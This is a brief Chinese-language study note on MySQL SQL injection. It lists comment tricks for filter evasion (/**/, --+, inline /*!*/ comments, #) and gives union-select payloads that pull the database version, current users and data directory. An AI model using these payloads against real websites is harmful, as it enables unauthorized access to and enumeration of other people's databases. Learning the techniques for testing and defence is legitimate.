sql注释符:1./**/ /*/**/等价于/**/
2.--+ 也是mysql的一个注释,'+'号表示空格,因为在get请求时不会被urlencode,直接解释为空格。
3.内联注释 /*!*/, /*!/*!*/是等效于/*!*/的,/*!123*/加了感叹号表示这段sql将会被执行。、
4.#,一般在post请求当中使用,post请求#号不会被编码。
常用函数:
获取mysql版本号:version()
@@version
/*!版本号*/
如:
也可以这样
只显示连接查询后面的查询语句就可以使用
select * from admin where id=1 and 1=2 union select 1,2,version();
或者
select * from admin where id=-1 union select 1,2,version();
查询数据库系统用户 user() 函数
select * from admin where id=1 and 1=2 union select 1,2,user();
路径的话一般用@@datadir
system_user()
//系统用户名 user()
//用户名 current_user()
//当前用户名 session_user()
//链接数据库的用户名
可以判断是否该站是站库分离